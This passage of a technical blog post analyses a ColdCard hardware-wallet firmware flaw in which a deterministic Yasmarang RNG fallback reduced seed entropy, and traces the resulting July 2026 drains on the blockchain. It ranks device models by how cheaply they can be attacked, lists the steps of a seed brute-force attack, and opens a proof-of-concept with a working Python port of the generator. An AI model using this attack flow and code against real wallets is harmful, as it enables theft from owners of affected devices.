<li><strong>SysTick</strong> is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to <code>0x00FFFFFF</code> and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like <code>0x003D7A12</code>. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).</li>
</ul>
<p>Block&rsquo;s <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">independent analysis</a> and Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical backgrounder</a> agree on the mechanism, although they differ on impact details. Yesterday&rsquo;s post has the full affected-firmware table.</p>
<p>The central point is: <strong>the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models.</strong> Forty bits are not secure. They are enumerable with cheap hardware.</p>
<h2>The wallet does not sit &ldquo;inside&rdquo; the ColdCard<span class="hx:absolute hx:-mt-20" id="the-wallet-does-not-sit-inside-the-coldcard"></span>
    <a href="#the-wallet-does-not-sit-inside-the-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.</p>
<p>In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the <code>secp256k1</code> curve. Whoever knows the integer can sign. Whoever does not, cannot.</p>
<p>That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.</p>
<p>You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them &ldquo;hold&rdquo; your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.</p>
<h2>How the attacker prioritizes models<span class="hx:absolute hx:-mt-20" id="how-the-attacker-prioritizes-models"></span>
    <a href="#how-the-attacker-prioritizes-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Not all models are equally easy to attack. The priority order follows the search-space size:</p>
<table>
  <thead>
      <tr>
          <th>Model / firmware</th>
          <th>What the attacker must guess</th>
          <th>Approximate space</th>
          <th>Priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>Chip UID, timer state, RNG call history</td>
          <td>~40 bits in Coinkite&rsquo;s model; deterministic if everything is known</td>
          <td><strong>1st — attack first</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 without successful reseed</td>
          <td>Same fallback as above, with possible silent secure-element failure</td>
          <td>~41 bits</td>
          <td><strong>2nd</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 with normal reseed</td>
          <td>Fallback state + 32 bits from secure element</td>
          <td>~72 bits raw, of which 32 bits are real added secret</td>
          <td><strong>3rd — more expensive</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 up to v3.2.2</td>
          <td>Hardware TRNG working</td>
          <td>~256 bits</td>
          <td>unreachable</td>
      </tr>
  </tbody>
</table>
<p>Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.</p>
<p>On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.</p>
<p>A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.</p>
<h2>128 bits, 40 bits, and 72 bits: what is the difference?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-and-72-bits-what-is-the-difference"></span>
    <a href="#128-bits-40-bits-and-72-bits-what-is-the-difference" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.</p>
<p>Imagine you can test <strong>1 billion candidates per second</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidates</th>
          <th>Time to search exhaustively</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1.1 trillion</td>
          <td>~18 minutes</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4.7 sextillion</td>
          <td>~150,000 years</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3.4 × 10³⁸</td>
          <td>~10²² years (many orders of magnitude beyond the age of the universe)</td>
      </tr>
  </tbody>
</table>
<p>Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.</p>
<p>That is why 40 bits is not &ldquo;slightly less secure&rdquo; than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.</p>
<h2>From an integer to a wallet<span class="hx:absolute hx:-mt-20" id="from-an-integer-to-a-wallet"></span>
    <a href="#from-an-integer-to-a-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropy (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The private key is just an integer. From it, the <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">elliptic curve</a> computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.</p>
<p>In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.</p>
<h2>Real evidence on the blockchain<span class="hx:absolute hx:-mt-20" id="real-evidence-on-the-blockchain"></span>
    <a href="#real-evidence-on-the-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I am not making up numbers. The independent site <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> has been tracking the drains transaction by transaction and publishes the verified minimum: <strong>1,128.6633 BTC</strong> drained from <strong>2,334 confirmed addresses</strong>. The site itself stresses that these are <strong>verified minimums, not totals</strong> — other clusters likely exist.</p>
<p>It identifies two draining episodes:</p>
<ul>
<li><strong>July 30, 2026</strong>, blocks <strong>960183 to 960191</strong> — 1,195 addresses drained.</li>
<li><strong>July 31, 2026</strong>, blocks <strong>960345 to 960369</strong> — 1,126 addresses drained.</li>
</ul>
<p>The main public clusters making up that minimum include:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC</a> in 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">received ~398.476 BTC</a> in a single transaction with 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">received ~89.623 BTC</a> in a single transaction with 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to <strong>1,128.6633 BTC</strong>.</p>
<blockquote>
  <p>The first cluster moved ~562 BTC to <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; that is the same money, not a fourth victim.</p>

</blockquote>
<p>A concrete example: transaction <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolidates three inputs from the same vulnerable address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, one of them almost <strong>29.9 BTC</strong>. All three inputs use the same compressed public key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.</p>
<p>Other source addresses with large values include <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24.08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14.43 BTC), and <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.</p>
<p>Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">issue 416</a> estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms <strong>at least 1,128.6633 BTC stolen</strong>.</p>
<h2>What the blockchain timeline suggests about attack order<span class="hx:absolute hx:-mt-20" id="what-the-blockchain-timeline-suggests-about-attack-order"></span>
    <a href="#what-the-blockchain-timeline-suggests-about-attack-order" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> shows <strong>two distinct episodes</strong>, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.</p>
<p>This two-wave pattern fits two interpretations:</p>
<ol>
<li><strong>Same attacker, pre-computed in batches.</strong> The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.</li>
<li><strong>Multiple attackers.</strong> After the flaw became public, other actors joined with their own dictionaries of likely states.</li>
</ol>
<p>Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:</p>
<ul>
<li><strong>~40 bits of effective entropy</strong> ≈ 2^40 ≈ <strong>1.1 trillion</strong> candidate states.</li>
<li>On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about <strong>13 days</strong> to search exhaustively. With 100 GPUs/FPGAs, it drops to <strong>a few hours</strong>.</li>
<li>Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.</li>
</ul>
<p>Mk4/Q/Mk5 with reseed depends on how well the fallback is known:</p>
<ul>
<li>If the fallback is known, only the <strong>32 bits</strong> from the secure element remain: 2^32 ≈ <strong>4.3 billion</strong> candidates per device, or about <strong>1.2 hours</strong> per device at 1 million/s.</li>
<li>If the fallback is completely unknown, the space rises to ~2^72, about <strong>4.7 sextillion</strong> candidates — infeasible by brute force alone.</li>
</ul>
<p>That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.</p>
<p>The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.</p>
<h2>What the chain reveals about the operation<span class="hx:absolute hx:-mt-20" id="what-the-chain-reveals-about-the-operation"></span>
    <a href="#what-the-chain-reveals-about-the-operation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analyzes in detail the three waves that emptied 1,082.59 BTC in <strong>41 minutes</strong> (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:</p>
<table>
  <thead>
      <tr>
          <th>Wave</th>
          <th>Block(s)</th>
          <th>BTC</th>
          <th>Addresses</th>
          <th>Note</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89.62</td>
          <td>204</td>
          <td>Took everything, including dust below the fee value.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398.49</td>
          <td>491</td>
          <td>Densest burst; left balances below ~0.108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594.48</td>
          <td>500</td>
          <td>The wave the press reported; started 3.5 minutes after wave 2.</td>
      </tr>
  </tbody>
</table>
<p>Notable details:</p>
<ul>
<li><strong>Sorted by balance:</strong> within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.</li>
<li><strong>Identical shape:</strong> all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.</li>
<li><strong>Uniform fee rate:</strong> median of 30.136986 sat/vB across all waves — the same script choosing the fee.</li>
<li><strong>Address types:</strong> 1,182 were native SegWit (<code>v0_p2wpkh</code>), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.</li>
<li><strong>Funds still sitting:</strong> when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.</li>
</ul>
<p>All of this points to a single automated operation, not 1,195 independent thefts.</p>
<h2>How this slipped through<span class="hx:absolute hx:-mt-20" id="how-this-slipped-through"></span>
    <a href="#how-this-slipped-through" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The same <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> maps the commits that introduced the bug. The most damning facts:</p>
<ul>
<li>The commit that added the wrong <code>#ifndef</code> guard in <code>libngu</code> had a <strong>one-character message</strong>, changed 28 files, and <strong>did not go through a pull request</strong>.</li>
<li>The <code>First pass w/ libNgU</code> commit, which migrated seed generation to libngu and stripped GPL code, changed <strong>120 files</strong> and was also pushed directly, with no PR.</li>
<li>The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but <strong>merged with zero reviews</strong>.</li>
</ul>
<p>A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.</p>
<h2>The conceptual attack flow<span class="hx:absolute hx:-mt-20" id="the-conceptual-attack-flow"></span>
    <a href="#the-conceptual-attack-flow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before the code, the general flow:</p>
<ol>
<li><strong>Reproduce the RNG.</strong> The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in <code>libNgU</code>.</li>
<li><strong>Enumerate plausible states.</strong> For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.</li>
<li><strong>Derive the wallet.</strong> From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.</li>
<li><strong>Query the blockchain.</strong> For each derived address, ask an explorer or a local node whether a UTXO exists.</li>
<li><strong>Stop at the match.</strong> When a derived address matches an address with balance, the attacker already has the corresponding private key.</li>
<li><strong>Spend.</strong> With the private key, build a transaction that moves the UTXO to an address they control.</li>
</ol>
<p>The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.</p>
<h2>Proof-of-concept code<span class="hx:absolute hx:-mt-20" id="proof-of-concept-code"></span>
    <a href="#proof-of-concept-code" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.</p>
<h3>1. The broken PRNG: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-the-broken-prng-yasmarang"></span>
    <a href="#1-the-broken-prng-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; mutates the list and returns a uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">MicroPython source</a>.</p>
<p><strong>State example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
